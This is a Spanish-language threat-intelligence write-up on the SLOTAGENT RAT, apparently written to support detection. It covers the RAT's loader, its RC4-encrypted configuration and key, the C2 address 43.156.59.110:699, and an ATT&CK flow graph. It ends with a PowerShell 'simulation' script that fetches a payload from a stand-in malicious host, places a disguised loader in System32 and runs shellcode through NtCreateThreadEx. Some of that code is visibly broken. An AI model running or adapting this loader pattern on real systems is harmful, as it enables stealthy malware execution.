SOC Prime Bias: Medio

29 Abr 2026 17:27

Nuevo Malware SLOTAGENT que Admite la Ejecución BOF Publicado

Author Photo
SOC Prime Team linkedin icon Seguir
Nuevo Malware SLOTAGENT que Admite la Ejecución BOF Publicado
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

IIJ identificó un RAT multifuncional previamente desconocido llamado SLOTAGENT dentro de un archivo ZIP subido a un repositorio público. El malware es compatible con la ejecución de payloads de Beacon Object File e incluye capacidades antiforenses como la manipulación de sellos de tiempo para dificultar el análisis. Se comunica con un punto final TCP codificado a través de un protocolo personalizado que intercambia datos en formato JSON. El cargador depende de datos de configuración cifrados con RC4 y utiliza carga reflexiva de DLL para ejecutar el payload final.

Investigación

El análisis estático mostró que el ejecutable del cargador, WindowsOobeAppHost.AOT.exe, resuelve funciones de API de Windows a través de una rutina de hash personalizada basada en DJB2. Su archivo de configuración cifrado, db.config, se descifra con RC4 usando la clave easdbadshyfab y luego se ejecuta como shellcode que contiene un DLL codificado con XOR. Después de cargarlo, el RAT se conecta a 43.156.59.110:699 y procesa comandos basados en JSON que soportan funciones como captura de pantalla, carga y descarga de archivos, y ejecución de BOF.

Mitigación

Los defensores deben detectar la dirección IP de comando y control codificada y buscar las cadenas de ruta características asociadas con el tráfico de red del malware. Las reglas YARA proporcionadas en el informe deberían desplegarse para identificar tanto el cargador como los componentes RAT. Los equipos de seguridad también deben monitorear el comportamiento sospechoso de hash de API y la carga reflexiva de DLL en los puntos finales. La ejecución de archivos EXE o DLL no firmados y no confiables debería restringirse siempre que sea posible.

Respuesta

Si se detectan indicadores vinculados a SLOTAGENT, aísle inmediatamente el host afectado, termine el proceso malicioso y recolecte memoria para un examen forense. La dirección IP de comando y control y los puertos relacionados deben ser bloqueados en el límite de la red. Las organizaciones deberían realizar un barrido completo de los nombres de archivos y hashes conocidos y aplicar las firmas YARA publicadas en los sistemas de detección de puntos finales.

graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef process fill:#c2f0c2 classDef network fill:#ffd966 classDef data fill:#d9d9d9 %% Nodes Definitions malware_exe[«<b>Malware</b> – <b>Nombre</b>: WindowsOobeAppHost.AOT.exe<br/><b>Técnica</b>: T1204.002 Ejecución del Usuario»] class malware_exe malware exec_hijack[«<b>Técnica</b> – <b>T1574 Secuestro del Flujo de Ejecución</b>: Llama a la función exportada __managed__Main»] class exec_hijack action api_resolve[«<b>Técnica</b> – <b>T1027.007 Archivos Ofuscados/Almacenados: Desofuscar Archivos</b>: Hashing XOR/ROR11 personalizado para resolver direcciones API»] class api_resolve action config_decrypt[«<b>Técnica</b> – <b>T1027.007</b>: Descifra la configuración con RC4»] class config_decrypt action dll_decrypt[«<b>Técnica</b> – <b>T1027.007</b>: Descifra DLL codificada con XOR (agent_tcp.dll)»] class dll_decrypt action reflective_load[«<b>Técnica</b> – <b>T1620 Carga Reflectiva de DLL</b>: Carga la DLL en memoria sin tocar el disco»] class reflective_load process process_injection[«<b>Técnica</b> – <b>T1055.009 Inyección de Procesos: Secuestro de Ejecución de Hilo</b>: Inyecta la DLL reflejada en el proceso»] class process_injection process c2_channel[«<b>Técnica</b> – <b>T1571 Puerto No Estándar</b> and <b>T1573 Canal Cifrado</b>: Establece C2 TCP a 43.156.59.110:699»] class c2_channel network host_info[«<b>Técnica</b> – <b>T1592.001 Identidad de Víctima: Versión del SO</b> and <b>T1592.002 Detalles de Hardware</b>: Envía JSON con datos del sistema»] class host_info data proc_discovery[«<b>Técnica</b> – <b>T1057 Descubrimiento de Procesos</b>: Enumera procesos en ejecución»] class proc_discovery data file_discovery[«<b>Técnica</b> – <b>T1083 Descubrimiento de Archivos y Directorios</b>: Lista archivos y directorios»] class file_discovery data screenshot_cap[«<b>Técnica</b> – <b>T1113 Captura de Pantalla</b>: Captura la pantalla del host»] class screenshot_cap data remote_shell[«<b>Técnica</b> – <b>T1059 Shell de Comandos</b>: Ejecuta comandos mediante shell remoto»] class remote_shell process bof_execution[«<b>Técnica</b> – <b>T1027.009 Payloads Embebidos</b> and <b>T1027.004 Compilar Tras Entrega</b>: Ejecuta módulos BOF»] class bof_execution process shared_modules[«<b>Técnica</b> – <b>T1129 Módulos Compartidos</b>: Carga módulos adicionales»] class shared_modules process file_transfer[«<b>Técnica</b> – <b>T1105 Transferencia de Herramientas</b>: Descarga y sube archivos»] class file_transfer data proc_termination[«<b>Técnica</b> – <b>T1106 API Nativa</b>: Termina procesos»] class proc_termination process sleep_manip[«<b>Técnica</b> – <b>T1027.004</b>: Manipula intervalos de sueño para evadir análisis»] class sleep_manip action %% Connections malware_exe –>|triggers| exec_hijack exec_hijack –>|uses| api_resolve api_resolve –>|enables| config_decrypt config_decrypt –>|provides| dll_decrypt dll_decrypt –>|feeds| reflective_load reflective_load –>|enables| process_injection process_injection –>|establishes| c2_channel c2_channel –>|collects| host_info c2_channel –>|collects| proc_discovery c2_channel –>|collects| file_discovery c2_channel –>|collects| screenshot_cap c2_channel –>|enables| remote_shell remote_shell –>|executes| bof_execution bof_execution –>|loads| shared_modules c2_channel –>|supports| file_transfer c2_channel –>|supports| proc_termination c2_channel –>|uses| sleep_manip

Flujo de ataque

Ejecución de Simulación

Prerequisito: La verificación previa de Telemetría y Línea Base debe haber pasado.

  • Narrativa de Ataque y Comandos:

    El adversario ha obtenido una copia del binario del cargador SLOTAGENT, lo ha renombrado a WindowsOobeAppHost.AOT.exe para mezclarse con los procesos legítimos de OOBE, y lo ha colocado en C:WindowsSystem32. El payload está almacenado en un blob cifrado en el servidor del atacante. Usando PowerShell, el atacante descarga el blob cifrado, lo descifra en memoria, e invoca la rutina reflexiva del cargador a través de NtCreateThreadEx. El cargador llama internamente a NtCreateFile para leer recursos adicionales del blob cifrado y luego utiliza carga reflexiva para ejecutar el DLL malicioso sin tocar el disco. Esta actividad produce un evento Sysmon ProcessCreate con exactamente el nombre de la Imagen y un CallTrace que contiene las tres cadenas definidas en la regla.

  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Simulación de carga reflexiva SLOTAGENT (Windows)
    # -------------------------------------------------
    # 1. Definir rutas
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    $payloadUrl = "https://malicious.example.com/payload.bin"
    $tempPayload = "$env:TEMPpayload.bin"
    
    # 2. Asegúrese de que el cargador exista (copia simulada del binario real)
    if (-not (Test-Path $loaderPath)) {
        Write-Host "Copiando cargador simulado a $loaderPath"
        Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath
    }
    
    # 3. Descargar payload cifrado (simulado)
    Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload
    
    # 4. Descifrar payload en memoria (marcador de posición – descifrado real omitido)
    $decryptedBytes = Get-Content $tempPayload -Encoding Byte
    
    # 5. Invocar carga reflexiva a través de llamadas a API nativas
    #    Esto usa un pequeño ayudante C# compilado al vuelo que llama a NtCreateThreadEx
    $cSharp = @"
    using System;
    using System.Runtime.InteropServices;
    public class ReflectiveLoader {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern IntPtr NtCreateThreadEx(
            out IntPtr threadHandle,
            uint desiredAccess,
            IntPtr objectAttributes,
            IntPtr processHandle,
            IntPtr startAddress,
            IntPtr parameter,
            bool createSuspended,
            uint stackZeroBits,
            uint sizeOfStackCommit,
            uint sizeOfStackReserve,
            IntPtr bytesBuffer);
        public static void Run(byte[] shellcode) {
            IntPtr hThread;
            NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero,
                Process.GetCurrentProcess().Handle,
                Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0),
                IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
        }
    }
    "@
    
    Add-Type $cSharp -Language CSharp
    
    # 6. Limpiar archivo temporal
    Remove-Item $tempPayload -Force
  • Comandos de Limpieza:

    # Terminar cualquier proceso del cargador que quede
    Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force
    
    # Eliminar binario del cargador simulado
    $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe"
    if (Test-Path $loaderPath) {
        Remove-Item $loaderPath -Force
    }
    
    # Eliminar cualquier archivo temporal residual
    Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue